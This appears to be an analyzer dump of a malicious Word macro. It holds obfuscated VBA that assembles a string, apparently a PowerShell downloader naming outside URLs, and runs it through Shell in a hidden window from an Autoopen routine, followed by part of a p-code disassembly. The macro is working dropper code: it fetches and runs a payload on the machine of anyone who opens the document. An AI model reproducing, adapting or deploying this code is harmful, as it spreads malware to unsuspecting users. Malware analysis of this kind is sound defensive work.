VthUqMHJIa = "WRhom4Ux9geQCjNt2umziaWfnvjJNsvaWf//clever2adtuELls"
zYEXWIG = Left(Right(VthUqMHJIa, 20), 12) + Left(Right(VthUqMHJIa, 42), 2) + CStr(Left(Right(VthUqMHJIa, 30), 3))

CvjoSlQdDj = Chr(43)
PiHNIM = "WRhof4Ux9H'QCjaWftaWi5wY"
mECwD = CStr(Left(Right(PiHNIM, 10), 6)) + CStr(Left(Right(PiHNIM, 20), 1)) + CStr(Left(Right(PiHNIM, 14), 1))

sbpOpSwQf = Chr(43)
Bpzvol = "F'g"
OtGGRdniF = Left(Right(Bpzvol, 2), 1)

CLclOjJSWKv = Chr(43)
UtGjjwD = (JIjtUiotSdk - CDbl(573811) + PVbMfZ + Fix(jiihfNt / CLng(637322 * Sqr(juIwiMXC))) - 318788 / Sin(EdRYNqf - CwBwRtAHcTV - 447675 + CLng(bAjbHIwJ)) * 246213 * Fix(573811))
PuibjHz = "WRhoW4Ux9HfQCjaWfheai5wY"
XKvGBNlU = CStr(Left(Right(PuibjHz, 10), 6)) + CStr(Left(Right(PuibjHz, 20), 1)) + CStr(Left(Right(PuibjHz, 14), 1))

QHChMHfQh = Chr(43)
FZYKD = "WRhoW4Ux9fGQaWfraumzi"
UimIEU = Left(Right(FZYKD, 9), 5) + CStr(Left(Right(FZYKD, 17), 1)) + CStr(Left(Right(FZYKD, 12), 1))

aaocwC = Chr(43)
AvtUsKACF = "Ux9HGQfjNt2umzittpnvjJNsvpPq0Rg3kV://aWtuELlsKRhkaWf.de/pBtE3KRO/@hGoXuMuu0Vxc0aO"
IYYBXlctbN = CStr(Left(Right(AvtUsKACF, 32), 18)) + Left(Right(AvtUsKACF, 66), 3) + CStr(Left(Right(AvtUsKACF, 47), 5)) + CStr(Left(Right(AvtUsKACF, 75), 1))

anBjumvoY = Chr(43)
jtlfFOqtO = "WRhom4Ux9g/QCjNt2umzQnaYnvjJNaWfkmpro.orBAAadtuE"
qkBrmqnKjF = Left(Right(jtlfFOqtO, 19), 11) + CStr(Left(Right(jtlfFOqtO, 39), 2)) + CStr(Left(Right(jtlfFOqtO, 28), 3))
jIizS = (WKluoivIOW - CDbl(485972) + csLICrmP + Fix(LbNFhuiiY / CLng(779555 * Sqr(ZQHAMS))) - 674781 / Sin(BwrLQL - HhAVti - 570845 + CLng(shicuzf)) * 862024 * Fix(485972))
cHlcMDncBwH = "FDgWfR"
tpXalsPW = CStr(Left(Right(cHlcMDncBwH, 3), 2))

zZYvzz = Chr(43)
trdYFtbWYXQ = "WRhoW4Ux9'GQaWfraumzi"
sPAjWQiOBlk = Left(Right(trdYFtbWYXQ, 9), 5) + CStr(Left(Right(trdYFtbWYXQ, 17), 1)) + CStr(Left(Right(trdYFtbWYXQ, 12), 1))

MIOaiLw = Chr(43)
ZTKUJUj = "FDg'fR"
szdjQzNwHBV = CStr(Left(Right(ZTKUJUj, 3), 2))

ziwTwz = Chr(43)
ZaXboPzlWfC = zJGEFrzrvR + pPsaTOXpa + WJvWpwi + lshQj + IAWjIcfwIcR + KRjOucw + azLhPvO + KZzYitRSro + HIkchQrhnWI + ZDJhDiRk + SOfalANS + wdLtmOUZ + OmPKohYVD + PRFuZbotEC + PiOKXiRfQvN + ACzIHZwB + GlXjYYv + nwdQUcon + sCzvYv + lInUww + iUOomZ + DbGKbpfklQQ + CaEzN + ZHhWV + DiFEjujP + knNzPhW + vzFXoHdS + IQrQP + CvzznfiBs + MiAutVdjJd + tswSAVqw + RswjBfkiVic + lNmDw + rjHJr + miimSWTYjq + TiQtOkv + fAVIiK + CSwOoHA + wWwzQz + SLfpQJbbCt + jTnjvW + tuTZGU + ErPtfiLBi + cmwvXSEz + CrktXI + zYEXWIG + CvjoSlQdDj + mECwD + sbpOpSwQf + OtGGRdniF + CLclOjJSWKv + XKvGBNlU + QHChMHfQh + UimIEU + aaocwC + IYYBXlctbN + anBjumvoY + qkBrmqnKjF + tpXalsPW + zZYvzz + sPAjWQiOBlk + MIOaiLw + szdjQzNwHBV + ziwTwz

End Function

Function cGIYA()

On Error Resume Next
aUiJvbk = (Tmkac - CDbl(675867) + TnMPHLlJ + Fix(jGjifiZXBY / CLng(989717 * Sqr(hcfqnXEii))) - 797844 / Sin(SRJvzlq - zoiRdzD - 679937 + CLng(zFWuPi)) * 27039 * Fix(675867))
ljPzzPc = "WRhom/Ux9HGQBuNt2uaWfXnrLvjJNs"
KdacaAG = CStr(Left(Right(ljPzzPc, 12), 7)) + CStr(Left(Right(ljPzzPc, 25), 1)) + Left(Right(ljPzzPc, 18), 2)

ZarmNkRoUV = "WRhoW4Ux9HfQCjj.Splai5wY"
cVhdKW = CStr(Left(Right(ZarmNkRoUV, 10), 6)) + CStr(Left(Right(ZarmNkRoUV, 20), 1)) + CStr(Left(Right(ZarmNkRoUV, 14), 1))

tizZVa = Chr(43)
kUrzd = "WRhoa4Ux9H'QCjaWfit(i5wY"
qKhcdSdaV = CStr(Left(Right(kUrzd, 10), 6)) + CStr(Left(Right(kUrzd, 20), 1)) + CStr(Left(Right(kUrzd, 14), 1))

oHsHf = Chr(43)
jonjsaG = "gfWRh'W4U"
JlwtVi = CStr(Left(Right(jonjsaG, 4), 2)) + Left(Right(jonjsaG, 8), 1)

lsdnhc = Chr(43)
HwMuOl = "WRhomaUx9HGWfjNtaWfBujwYnvj"
YOpfmPv = Left(Right(HwMuOl, 11), 6) + Left(Right(HwMuOl, 22), 1) + CStr(Left(Right(HwMuOl, 16), 2))

WnjBzaoCiCN = Chr(43)
YmGaDV = "WRhomaUx9HGWfjNtaWf@BuwYnvj"
noYhJMzv = Left(Right(YmGaDV, 11), 6) + Left(Right(YmGaDV, 22), 1) + CStr(Left(Right(YmGaDV, 16), 2))
zpzlUFikqI = (aQzOXIn - CDbl(927412) + AsOkQ + Fix(zEcaPXqhN / CLng(972417 * Sqr(uztbsRwjJrv))) - 993352 / Sin(SwqzW - isiFiDX - 657273 + CLng(FJaki)) * 499767 * Fix(927412))
KYWzCcomr = Chr(43)
ZOAPXA = "WRhom4US9HGQCjNtaWfzi5waWfj);D47Pq0Rg3k"
LDYhpGCV = CStr(Left(Right(ZOAPXA, 16), 9)) + Left(Right(ZOAPXA, 32), 1) + Left(Right(ZOAPXA, 23), 3)

hidffLqClN = Chr(43)
KcwlqwMHqIj = "Ux9H'QCjNt2u:pi5wYnvjJNsvpublig3kVBAAaaWfDC = D47env1rKBaHLR0Mi"
SzZbG = CStr(Left(Right(KcwlqwMHqIj, 25), 14)) + Left(Right(KcwlqwMHqIj, 51), 2) + CStr(Left(Right(KcwlqwMHqIj, 37), 4)) + Left(Right(KcwlqwMHqIj, 59), 1)

aPHbwl = Chr(43)
pzchZrNrd = "g WRh'c4U"
JSsIu = CStr(Left(Right(pzchZrNrd, 4), 2)) + Left(Right(pzchZrNrd, 8), 1)

RHKFB = Chr(43)
VTMFilHdQk = "gfWRhaW4U"
htqmM = CStr(Left(Right(VTMFilHdQk, 4), 2)) + Left(Right(VTMFilHdQk, 8), 1)
hIiwwIr = (aZOkdvBv - CDbl(770486) + MEFOLT + Fix(mUwtSEE / CLng(97296 * Sqr(dTiRUdrw))) - 264815 / Sin(GXCSuJR - nkPRHE - 584405 + CLng(pMJbLwF)) * 944553 * Fix(770486))
hoBEotWjFK = Chr(43)
FTZawjuobF = "WRhoW4Ux9fGQaWf aumzi"
ijOUnrEFP = Left(Right(FTZawjuobF, 9), 5) + CStr(Left(Right(FTZawjuobF, 17), 1)) + CStr(Left(Right(FTZawjuobF, 12), 1))

RzPdILc = Chr(43)
BmpbciSw = "WRhom4ax9HGQCjWf2umzaWfBujFZNsvpP"
iTKFHHrM = CStr(Left(Right(BmpbciSw, 13), 8)) + Left(Right(BmpbciSw, 27), 1) + Left(Right(BmpbciSw, 19), 2)

LKmCf = Chr(43)
ViACLWZuszD = "WRhoj4Ux9H QCjaWfvBui5wY"
DwBqzaPOw = CStr(Left(Right(ViACLWZuszD, 10), 6)) + CStr(Left(Right(ViACLWZuszD, 20), 1)) + CStr(Left(Right(ViACLWZuszD, 14), 1))

WPolaji = Chr(43)
VfzTEO = (lrCabfbtsJ - CDbl(831967) + dXbjUzaVAq + Fix(iTZtYN / CLng(489185 * Sqr(MDmKmo))) - 482897 / Sin(aANNTjV - iiJflLzs - 488738 + CLng(NvdNjAhHO)) * 138611 * Fix(831967))
OzQOHjfM = "FDg 'R"
GrIZLIz = CStr(Left(Right(OzQOHjfM, 3), 2))

KZaFTh = Chr(43)
nEsvjBhR = "WRhoB4Ux9H QCj'D47NSi5wY"
kHVOiFKPZ = CStr(Left(Right(nEsvjBhR, 10), 6)) + CStr(Left(Right(nEsvjBhR, 20), 1)) + CStr(Left(Right(nEsvjBhR, 14), 1))

zHwdmk = Chr(43)
HzvawY = "WRhoe4Ux9H'QCj (Buj.i5wY"
KQnmHcD = CStr(Left(Right(HzvawY, 10), 6)) + CStr(Left(Right(HzvawY, 20), 1)) + CStr(Left(Right(HzvawY, 14), 1))

wNuMTZbABi = Chr(43)
jMtUqPb = "gSWjhom4U'xBuQC"
VoiOvciM = CStr(Left(Right(jMtUqPb, 6), 4)) + Left(Right(jMtUqPb, 12), 1)

AAhYoH = Chr(43)
UKPzlF = "WRhom4ax9HGQCjWf2umzBujeBuj)NsvpP"
DuwciSXjrPC = CStr(Left(Right(UKPzlF, 13), 8)) + Left(Right(UKPzlF, 27), 1) + Left(Right(UKPzlF, 19), 2)

nVHww = Chr(43)
BsDQw = (jZcYstEi - CDbl(542351) + ZcTBDl + Fix(PcjmM / CLng(31959 * Sqr(iuKzCqzVLOd))) - 832673 / Sin(KkvrzztwL - jKWCTwdbkMK - 194369 + CLng(uhOurNlpOO)) * 465374 * Fix(542351))
zTattL = "WRhomaUx9HGQWfNt2uaWf;forvjJNs"
qOZdnrEji = CStr(Left(Right(zTattL, 12), 7)) + CStr(Left(Right(zTattL, 25), 1)) + Left(Right(zTattL, 18), 2)

wTYRGtjaKMd = Chr(43)
zPQEqRj = "WRhoW4Ux9HfQCjaWfeaai5wY"
MACKOiYVpXr = CStr(Left(Right(zPQEqRj, 10), 6)) + CStr(Left(Right(zPQEqRj, 20), 1)) + CStr(Left(Right(zPQEqRj, 14), 1))

fHfNGZaEL = Chr(43)
fDjSOcU = "WRhom4UxsfGQCjNt2umaWfwYnvjaWfch(D47a3kVBAAad"
qEoYA = CStr(Left(Right(fDjSOcU, 18), 10)) + CStr(Left(Right(fDjSOcU, 37), 2)) + Left(Right(fDjSOcU, 26), 3)
cGIYA = KdacaAG + cVhdKW + tizZVa + qKhcdSdaV + oHsHf + JlwtVi + lsdnhc + YOpfmPv + WnjBzaoCiCN + noYhJMzv + KYWzCcomr + LDYhpGCV + hidffLqClN + SzZbG + aPHbwl + JSsIu + RHKFB + htqmM + hoBEotWjFK + ijOUnrEFP + RzPdILc + iTKFHHrM + LKmCf + DwBqzaPOw + WPolaji + GrIZLIz + KZaFTh + kHVOiFKPZ + zHwdmk + KQnmHcD + wNuMTZbABi + VoiOvciM + AAhYoH + DuwciSXjrPC + nVHww + qOZdnrEji + wTYRGtjaKMd + MACKOiYVpXr + fHfNGZaEL + qEoYA

End Function

Function saYoDvCZa()

On Error Resume Next
WpiscOzDbjF = (mdzAw - CDbl(174576) + rScum + Fix(SWGnC / CLng(202583 * Sqr(MqPbGmwOj))) - 475735 / Sin(ZYRCsGjqnlb - TrWbDcZGI - 533282 + CLng(AwXPqK)) * 877037 * Fix(174576))
twwWWkJ = Chr(43)
NGYNWstNwE = "WRhom4Dx9HGQCjN47Amzi5aWfc in vpPq0R"
iGwqz = CStr(Left(Right(NGYNWstNwE, 14), 8)) + Left(Right(NGYNWstNwE, 30), 1) + CStr(Left(Right(NGYNWstNwE, 21), 3))

nBNFqzK = "WRhoW4Ux9fGQDCX)aumzi"
IEAQps = Left(Right(nBNFqzK, 9), 5) + CStr(Left(Right(nBNFqzK, 17), 1)) + CStr(Left(Right(nBNFqzK, 12), 1))

sGzOpQh = Chr(43)
CbEhGBS = "WRhom4U49HGQCjNtaWfzi5waWf{try{DPq0Rg3k"
DswJztVH = CStr(Left(Right(CbEhGBS, 16), 9)) + Left(Right(CbEhGBS, 32), 1) + Left(Right(CbEhGBS, 23), 3)

QPZSKlUV = Chr(43)
qFpDzZrmt = "gS'RhomaWf9H"
UKjMKz = Left(Right(qFpDzZrmt, 5), 3) + Left(Right(qFpDzZrmt, 10), 1)
aSwhVfscwXq = (hwVzsfLPiw - CDbl(805779) + nfYTpNAYnkL + Fix(VETUQQFW / CLng(926570 * Sqr(nnfBK))) - 166922 / Sin(cGlMR - UJCzLDOwz - 646589 + CLng(GWZAt)) * 370687 * Fix(805779))
wTjKDuIrXQL = Chr(43)
cSfNur = "WRhoW4Ux9fGQ'7YYaumzi"
EmqqGwIjl = Left(Right(cSfNur, 9), 5) + CStr(Left(Right(cSfNur, 17), 1)) + CStr(Left(Right(cSfNur, 12), 1))

LtdJJmzwjVi = Chr(43)
NYdKjUK = "WRhom4Dx9HGQCjol2umzaWfU.1fZNsvpP"
FQOqR = CStr(Left(Right(NYdKjUK, 13), 8)) + Left(Right(NYdKjUK, 27), 1) + Left(Right(NYdKjUK, 19), 2)

fQqaUPN = "Ux9HGQfjNt2umzi5fZ(vjJNsvpPq0Rg3kVBD47asuELlsKRhkRUFRWnllFROadFIlFRle1uMuu0Vxc0aOi6Z"
wJjuim = CStr(Left(Right(fQqaUPN, 33), 19)) + CStr(Left(Right(fQqaUPN, 68), 3)) + Left(Right(fQqaUPN, 49), 5) + CStr(Left(Right(fQqaUPN, 78), 1))

jDoODGlMt = "WRhom4Ur9HGQCjNtaWfzi5wc.1fZToStPq0Rg3k"
BiWsZVN = CStr(Left(Right(jDoODGlMt, 16), 9)) + Left(Right(jDoODGlMt, 32), 1) + Left(Right(jDoODGlMt, 23), 3)

BImjuk = Chr(43)
qnOwwfLNvIj = "gSW'hom4UaWflQC"
tahpGCj = CStr(Left(Right(qnOwwfLNvIj, 6), 4)) + Left(Right(qnOwwfLNvIj, 12), 1)

cQfAmcQQ = Chr(43)
NpjPU = (ucuVal - CDbl(155217) + sYpCcQSWXp + Fix(NcRAHIdKMK / CLng(87245 * Sqr(YLcnv))) - 531447 / Sin(cPipDSPDU - uLzjpzq - 79870 + CLng(rrtVm)) * 184802 * Fix(155217))
WHdhkHDRWNH = "WRhWm4Uf9HG'FRat2u"
tqfRiC = CStr(Left(Right(WHdhkHDRWNH, 7), 4)) + CStr(Left(Right(WHdhkHDRWNH, 15), 1)) + CStr(Left(Right(WHdhkHDRWNH, 11), 1))

PBwPM = Chr(43)
zUWYUbajd = "g'WRhaW4U"
aROwQjlk = CStr(Left(Right(zUWYUbajd, 4), 2)) + Left(Right(zUWYUbajd, 8), 1)

UMWzwolWv = Chr(43)
rdoDA = "Ux9HfQCjNt),mzi5wYnvjJ aWpPq0Rg3k'filFRNg1fZ(KRhkRU91r"
KdGlB = Left(Right(rdoDA, 21), 12) + Left(Right(rdoDA, 44), 2) + CStr(Left(Right(rdoDA, 32), 3)) + Left(Right(rdoDA, 50), 1)
TufDSdfB = (CwTjMR - CDbl(182464) + McziAKYJJ + Fix(OKifn / CLng(727062 * Sqr(rOikD))) - 6429 / Sin(rIVRows - FKtjKud - 369950 + CLng(WIWVtPPUX)) * 29693 * Fix(182464))
zRzzQKV = Chr(43)
AQurvdDb = "WRhoW4Ux9fGQaWfDaumzi"
lwVvtMj = Left(Right(AQurvdDb, 9), 5) + CStr(Left(Right(AQurvdDb, 17), 1)) + CStr(Left(Right(AQurvdDb, 12), 1))

juOHQ = Chr(43)
iUaGzPjqr = "WRhomaUx9HGWfjNtaWf47SwYnvj"
wHDsAjo = Left(Right(iUaGzPjqr, 11), 6) + Left(Right(iUaGzPjqr, 22), 1) + CStr(Left(Right(iUaGzPjqr, 16), 2))

hkvMtrw = Chr(43)
IMKtQbqGTA = "Ux9HGfCjNt2uoBi5wYnvjJNsvpPujaW3kVBAAadtaWfDC);&(BujInvBaHLR0MiwCz"
YHcEO = Left(Right(IMKtQbqGTA, 26), 15) + Left(Right(IMKtQbqGTA, 54), 2) + CStr(Left(Right(IMKtQbqGTA, 39), 4)) + CStr(Left(Right(IMKtQbqGTA, 61), 1))

rMvlFBIuZ = Chr(43)
pHinIYsU = "gfWRhaW4U"
wiUstY = CStr(Left(Right(pHinIYsU, 4), 2)) + Left(Right(pHinIYsU, 8), 1)
wOanMnKjNO = (GJAwmZzS - CDbl(325380) + MOSQu + Fix(YShmYHcCb / CLng(323059 * Sqr(OrEdaPSESAT))) - 708161 / Sin(KrnJuJi - wKshOrCbq - 986179 + CLng(iHYBYhs)) * 633042 * Fix(325380))
sWWCaIsXlZ = Chr(43)
tEJRvrOIMI = "WRhWm4Uf9HGBujat2u"
fBRKfIDn = CStr(Left(Right(tEJRvrOIMI, 7), 4)) + CStr(Left(Right(tEJRvrOIMI, 15), 1)) + CStr(Left(Right(tEJRvrOIMI, 11), 1))

sXXocMjOt = Chr(43)
sEjwfCNVR = "WRhoW4Ux9fGQaWfkaumzi"
WMwNqTM = Left(Right(sEjwfCNVR, 9), 5) + CStr(Left(Right(sEjwfCNVR, 17), 1)) + CStr(Left(Right(sEjwfCNVR, 12), 1))

WOBBwDHo = Chr(43)
joarTj = (YjqYTjntE - CDbl(194904) + iKdkIPUUiB + Fix(qWWizt / CLng(134769 * Sqr(iEhraK))) - 848469 / Sin(JHzfB - UUovJZdYZG - 521545 + CLng(ofZiJUtU)) * 812122 * Fix(194904))
tlwRcX = "WRhoW4Ux9fGQaWfBaumzi"
hGYaoN = Left(Right(tlwRcX, 9), 5) + CStr(Left(Right(tlwRcX, 17), 1)) + CStr(Left(Right(tlwRcX, 12), 1))

vniUIKuo = Chr(43)
CvSSFjwfwsK = "gSWjhom4UaWfuQC"
rAXvVwzBX = CStr(Left(Right(CvSSFjwfwsK, 6), 4)) + Left(Right(CvSSFjwfwsK, 12), 1)

ppYYh = Chr(43)
BEPdDK = "WRhomWUx9HGf'jNtBuje-awYnvj"
QaraEW = Left(Right(BEPdDK, 11), 6) + Left(Right(BEPdDK, 22), 1) + CStr(Left(Right(BEPdDK, 16), 2))

rXNPcDNS = Chr(43)
kDNcVajXHj = (zKkJbTt - CDbl(598692) + ONkGShToTpq + Fix(bvVhc / CLng(714591 * Sqr(dJLQf))) - 955707 / Sin(DnZsCOHDU - udAzv - 53439 + CLng(BmNiRftBoCh)) * 795605 * Fix(598692))
HXXNrPjzal = "F'g"
SvAlT = Left(Right(HXXNrPjzal, 2), 1)

NunwnBFMM = Chr(43)
KXpZmiOjWOc = "WRhom4Uj9HGQCjNtaWfzi5waWfItemBuPq0Rg3k"
JttTlzC = CStr(Left(Right(KXpZmiOjWOc, 16), 9)) + Left(Right(KXpZmiOjWOc, 32), 1) + Left(Right(KXpZmiOjWOc, 23), 3)

aRHqdLLAfU = Chr(43)
EsjjnZMYHuX = "WRhoW4Ux9fGQaWf)aumzi"
bHsLa = Left(Right(EsjjnZMYHuX, 9), 5) + CStr(Left(Right(EsjjnZMYHuX, 17), 1)) + CStr(Left(Right(EsjjnZMYHuX, 12), 1))

PTEXIMUroE = Chr(43)
OTSiX = "WRhoW4Ux9fGQaWf(aumzi"
DmSUtOKBbX = Left(Right(OTSiX, 9), 5) + CStr(Left(Right(OTSiX, 17), 1)) + CStr(Left(Right(OTSiX, 12), 1))

cmmVkGl = Chr(43)
saYoDvCZa = twwWWkJ + iGwqz + IEAQps + sGzOpQh + DswJztVH + QPZSKlUV + UKjMKz + wTjKDuIrXQL + EmqqGwIjl + LtdJJmzwjVi + FQOqR + wJjuim + BiWsZVN + BImjuk + tahpGCj + cQfAmcQQ + tqfRiC + PBwPM + aROwQjlk + UMWzwolWv + KdGlB + zRzzQKV + lwVvtMj + juOHQ + wHDsAjo + hkvMtrw + YHcEO + rMvlFBIuZ + wiUstY + sWWCaIsXlZ + fBRKfIDn + sXXocMjOt + WMwNqTM + WOBBwDHo + hGYaoN + vniUIKuo + rAXvVwzBX + ppYYh + QaraEW + rXNPcDNS + SvAlT + NunwnBFMM + JttTlzC + aRHqdLLAfU + bHsLa + PTEXIMUroE + DmSUtOKBbX + cmmVkGl

End Function

Function RhTbVi()

On Error Resume Next
RkmbNFjmIj = (zpvAsv - CDbl(746876) + YcURpcjVDP + Fix(XVHXnjdfi / CLng(985080 * Sqr(tIUMNiEv))) - 782958 / Sin(roOJwWWAuK - sCQCkNDZCP - 138236 + CLng(NRPiTAEb)) * 409149 * Fix(746876))
tzdOprZv = "WRhomDUx9HGQC'Nt2uaWfD47SvjJNs"
JPZBMcTM = CStr(Left(Right(tzdOprZv, 12), 7)) + CStr(Left(Right(tzdOprZv, 25), 1)) + Left(Right(tzdOprZv, 18), 2)

oLmiSkHr = Chr(43)
svQUnXz = "gSfRhom'aW9H"
rwzNtM = Left(Right(svQUnXz, 5), 3) + Left(Right(svQUnXz, 10), 1)

RMdPwRjk = Chr(43)
MXVDcSihQv = "Ux9HfQCjNtcamzi5wYnvjJtaWpPq0Rg3kaWf);break;}KRhkRU91r"
flznt = Left(Right(MXVDcSihQv, 21), 12) + Left(Right(MXVDcSihQv, 44), 2) + CStr(Left(Right(MXVDcSihQv, 32), 3)) + Left(Right(MXVDcSihQv, 50), 1)
vQqzcWfB = (mzHDRzlk - CDbl(995750) + GsjBGD + Fix(wjSTijOmLwb / CLng(740691 * Sqr(RWPnonTZ))) - 369065 / Sin(tTPfnj - UttJmzd - 813576 + CLng(NhzDkUsTXO)) * 309892 * Fix(995750))
NZmJlLb = Chr(43)
VjzGORtvzR = "WRhoW4Ux9fGQaWfcaumzi"
YlAMSSHN = Left(Right(VjzGORtvzR, 9), 5) + CStr(Left(Right(VjzGORtvzR, 17), 1)) + CStr(Left(Right(VjzGORtvzR, 12), 1))

IvwfRrwQroU = Chr(43)
CcdkawTVku = "WRh{m4U'9HGaWfht2u"
bjcSmXlWrhA = CStr(Left(Right(CcdkawTVku, 7), 4)) + CStr(Left(Right(CcdkawTVku, 15), 1)) + CStr(Left(Right(CcdkawTVku, 11), 1))

pakkjsfzdRu = Chr(43)
uBwLJJAw = "WRhom4Rx9HGQCjeP2umz'}}aWf).NsvpP"
ipwiosuXHjz = CStr(Left(Right(uBwLJJAw, 13), 8)) + Left(Right(uBwLJJAw, 27), 1) + Left(Right(uBwLJJAw, 19), 2)

ZkVjI = "Ux9HGQ]jNt2umzi5NG]vjJNsvpPq0Rg3kVBAA[chArLlsKRhkRU91lACE(aWfFZvaWf,[Striu0Vxc0aOi6ZwX1"
XtjvV = CStr(Left(Right(ZkVjI, 34), 20)) + Left(Right(ZkVjI, 71), 3) + CStr(Left(Right(ZkVjI, 50), 5)) + CStr(Left(Right(ZkVjI, 81), 1))

rMGJQap = "Ux9HGQGjNt2umzi5f,[vjJNsvpPq0Rg3kVBAAStriNLlsKRhkRU9192).RePlACE(aWfD47aWu0Vxc0aOi6ZwX1"
BavFprHOjw = CStr(Left(Right(rMGJQap, 34), 20)) + Left(Right(rMGJQap, 71), 3) + CStr(Left(Right(rMGJQap, 50), 5)) + CStr(Left(Right(rMGJQap, 81), 1))

pwuSGbicMNV = "WRhom3Ux9HGQ6)Nt2u][chAr]vjJNs"
VRJojn = CStr(Left(Right(pwuSGbicMNV, 12), 7)) + CStr(Left(Right(pwuSGbicMNV, 25), 1)) + Left(Right(pwuSGbicMNV, 18), 2)
ZAEba = (vOlPoN - CDbl(666804) + GkURICmSSj + Fix(YAqlZr / CLng(977784 * Sqr(sUiOwWcIm))) - 761970 / Sin(OBuoVWjcPL - OhjHUqCZV - 559403 + CLng(pukvsM)) * 744302 * Fix(666804))
qQOFBDtOuo = "Ux9H8QCjNt2Arzi5wYnvjJNs]10q0Rg3kV.RePlACE(([chhkRU91rKBa"
viiRADAc = Left(Right(qQOFBDtOuo, 23), 13) + Left(Right(qQOFBDtOuo, 46), 2) + Left(Right(qQOFBDtOuo, 33), 3) + Left(Right(qQOFBDtOuo, 53), 1)

stBJfb = Chr(43)
thvNi = "WRho74Ux9H0QCj[chAr]i5wY"
lniANE = CStr(Left(Right(thvNi, 10), 6)) + CStr(Left(Right(thvNi, 20), 1)) + CStr(Left(Right(thvNi, 14), 1))

GnPrV = Chr(43)
KMTBD = "Ux9HGACjNt2umzif)YnvjJNsvpPq0Rg3.RePladtuELlsKR[chAr]82),aWf6MNaWz9GoXuMuu0Vxc"
mJvSjEuUOF = Left(Right(KMTBD, 31), 18) + CStr(Left(Right(KMTBD, 63), 2)) + Left(Right(KMTBD, 46), 5) + CStr(Left(Right(KMTBD, 73), 1))

zFsUuMlFVqv = "WRhoc4Ux9'GQCE(([umzi"
ZzpmuCBFa = Left(Right(zFsUuMlFVqv, 9), 5) + CStr(Left(Right(zFsUuMlFVqv, 17), 1)) + CStr(Left(Right(zFsUuMlFVqv, 12), 1))

iiZnQrbcdk = Chr(43)
mHiuKIRN = "WRho44Ux99GQ'hAr]umzi"
imVjzj = Left(Right(mHiuKIRN, 9), 5) + CStr(Left(Right(mHiuKIRN, 17), 1)) + CStr(Left(Right(mHiuKIRN, 12), 1))

bhrXhwbP = Chr(43)
OimOYZWOK = "WRhom1Ux9HG02jNt[chAr]wYnvj"
QMlNlu = Left(Right(OimOYZWOK, 11), 6) + Left(Right(OimOYZWOK, 22), 1) + CStr(Left(Right(OimOYZWOK, 16), 2))
twKzcMAdL = (sWajnQE - CDbl(426738) + EGPNznMc + Fix(DuNPRlIBA / CLng(595466 * Sqr(htSTjIcswuK))) - 382729 / Sin(DzVPVOjz - kAfwjzza - 241317 + CLng(SinWWhlmj)) * 368262 * Fix(426738))
EjwciG = Chr(43)
FoVat = "Ux9HGQCjE(2umzi5wYnv34)svpPq0Rg3kVBAAadtuELls.RePlAC1rKBaHLR0MiwCz[chAr]90),[StriNG][chAr]atECsXVPYsBBsCW8E7"
PIPswFRRlY = CStr(Left(Right(FoVat, 42), 24)) + CStr(Left(Right(FoVat, 88), 3)) + Left(Right(FoVat, 63), 7) + CStr(Left(Right(FoVat, 100), 2))

nLESTCT = "Ux9H'QCjNttrmzi5wYnvjJiNGpPq0Rg3kaWfBujaWf,[SKRhkRU91r"
YrEnvldEo = Left(Right(nLESTCT, 21), 12) + Left(Right(nLESTCT, 44), 2) + CStr(Left(Right(nLESTCT, 32), 3)) + Left(Right(nLESTCT, 50), 1)

GcLJMM = Chr(43)
ZruwhDVi = "WRhom43x9HGQCj9)2umz'][chAr]NsvpP"
hWFPr = CStr(Left(Right(ZruwhDVi, 13), 8)) + Left(Right(ZruwhDVi, 27), 1) + Left(Right(ZruwhDVi, 19), 2)

zNjwbk = "Ux9HGQCArt2umzi5wYRINJNsvpPq0Rg3kVBAAadtg][ChKRhkRU91rKBaH) ').RePlace('aWf',[STOi6ZwX1tAzatECsX"
YFDUHt = CStr(Left(Right(zNjwbk, 38), 22)) + Left(Right(zNjwbk, 78), 3) + CStr(Left(Right(zNjwbk, 56), 5)) + CStr(Left(Right(zNjwbk, 89), 2))

hSMTRiC = "Ux9HSQCjNt2u6Mi5wYnvjJNsvpN',[g3kVBAAa]39).RePlace('1rKBaHLR0Mi"
BZApwuDQlNz = CStr(Left(Right(hSMTRiC, 25), 14)) + Left(Right(hSMTRiC, 51), 2) + CStr(Left(Right(hSMTRiC, 37), 4)) + Left(Right(hSMTRiC, 59), 1)

ivOkuVvzX = "WRhom4Ux996QCjNt2umzi)) nvjJNsvTRINg][ChAr]adtuELls"
SfIjEijsK = Left(Right(ivOkuVvzX, 20), 12) + Left(Right(ivOkuVvzX, 42), 2) + CStr(Left(Right(ivOkuVvzX, 30), 3))
RhTbVi = JPZBMcTM + oLmiSkHr + rwzNtM + RMdPwRjk + flznt + NZmJlLb + YlAMSSHN + IvwfRrwQroU + bjcSmXlWrhA + pakkjsfzdRu + ipwiosuXHjz + XtjvV + BavFprHOjw + VRJojn + viiRADAc + stBJfb + lniANE + GnPrV + mJvSjEuUOF + ZzpmuCBFa + iiZnQrbcdk + imVjzj + bhrXhwbP + QMlNlu + EjwciG + PIPswFRRlY + YrEnvldEo + GcLJMM + hWFPr + YFDUHt + BZApwuDQlNz + SfIjEijsK + OTOhijirQ

End Function

Function KtLhcVK()
On Error Resume Next
KtLhcVK = uYCTrok + lBOZsJ + ZaXboPzlWfC + cGIYA + saYoDvCZa + RhTbVi
[Shell] IqwJGlY + Chr(vbKeyP) + KtLhcVK, 0
End Function

Sub Autoopen()
On Error Resume Next
KtLhcVK
End Sub



' Processing file: /opt/analyzer/scan_staging/cfbfb5056b45471bb1e9ed014d397f4e.bin
' ===============================================================================
' Module streams:
' Macros/VBA/jQVzALI - 59193 bytes
' Line #0:
' 	FuncDefn (Function uYCTrok(id_FFFE As Variant))
' Line #1:
' Line #2:
' 	OnError (Resume Next) 
' Line #3:
' 	Ld zVijGzSWC 
' 	LitDI4 0x7560 0x0008 
' 	Coerce (Dbl) 
' 	Sub 
' 	Ld OBIlir 
' 	Add 
' 	Ld DAPhcIRMYKW 
' 	LitDI4 0xD47D 0x0009 
' 	Ld YMcnGk 
' 	ArgsLd Sqr 0x0001 
' 	Mul 
' 	Coerce (Lng) 
' 	Div 
' 	FnFix 
' 	Add 
' 	LitDI2 0x1445 
' 	Ld atFvpwoUIXv 
' 	Ld FJHRX 
' 	Sub 
' 	LitDI4 0x4331 0x000A 
' 	Sub 
' 	Ld wXNMUiowK 
' 	Coerce (Lng) 
' 	Add 
' 	ArgsLd Sin 0x0001 
' 	Div 
' 	LitDI4 0x46CF 0x000B 
' 	Mul 
' 	LitDI4 0x7560 0x0008 
' 	FnFix 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St DrkBEVYv 
' Line #4:
